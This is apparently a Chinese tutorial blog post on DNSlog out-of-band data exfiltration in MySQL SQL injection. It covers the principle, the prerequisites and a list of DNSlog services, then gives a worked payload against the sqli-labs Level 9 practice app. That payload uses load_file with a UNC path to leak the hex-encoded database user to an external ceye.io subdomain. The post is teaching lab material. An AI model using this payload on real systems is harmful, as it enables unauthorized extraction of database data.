WEB安全--SQL注入--DNSlog外带

一、原理:

访问域名时,dns协议将我们访问的语句解析为ip地址,并将其记录在其日志中;在这个过程中,如果我们在语句中写入SQL注入的语句,那么在dns解析时会执行这些语句并通过concat将结果和域名一起记录在日志中,这时我们就能直接去日志中查看敏感信息。

二、条件:

1.mysql的my.ini文件中的secure_file_priv参数值要为空, secure_file_priv=""

2.用户的权限必须是root

3.网站是windows服务器,因为load_file()基于UNC格式读取,是windows系统特有的

三、网站:

DNSLog Platform

CEYE - Monitor service for security testing

登录 - DNSlog System

DNSLOG Platform

DNSLog Platform -- DNSLog

四、示例:

以sqli-labs第9关为例:

sql 复制代码
http://127.0.0.1/sqli-labs-master/Less-9/
?id=1' and (select load_file(concat('\\\\',(select hex(user())),'
.s5vuxg.ceye.io\\abc')))--+

因为一些字符不能直接回显在网页上,需要hex()转为十六进制

最后再转回来即可

相关推荐
CharlesG08 分钟前
NAT 实验:多私网环境下 NAPT、Easy IP 配置及 FTP 服务公网映射
运维·服务器·网络·网络协议·tcp/ip·安全·ip
mingzhi615 小时前
绿盟面试题
安全·web安全·网络安全·绿盟科技
CYRUS_STUDIO5 小时前
Android 自定义变形 MD5 算法
android·算法·安全
不羁。。6 小时前
【操作系统安全】任务3:Linux 网络安全实战命令手册
linux·安全·web安全
ai产品老杨8 小时前
全流程数字化管理的智慧物流开源了。
前端·javascript·vue.js·人工智能·安全
笨笨5619 小时前
[工控机安全] 使用DriverView快速排查不可信第三方驱动(附详细图文教程)
windows·安全
追风少年1559 小时前
dedecms织梦【php网站】-----获取webshell攻略
web安全·php·文件上传漏洞
m0_6658151010 小时前
联核科技AGV无人叉车有哪些常见的安全防护措施?
人工智能·科技·安全·机器人·自动化·自动驾驶